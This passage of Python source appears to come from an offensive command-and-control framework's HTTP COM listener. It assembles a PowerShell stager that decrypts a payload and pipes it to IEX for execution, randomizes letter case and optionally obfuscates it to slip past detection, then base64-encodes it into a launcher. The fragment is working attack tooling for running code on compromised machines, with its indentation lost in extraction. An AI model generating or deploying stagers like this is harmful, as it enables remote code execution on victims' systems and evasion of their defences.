# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
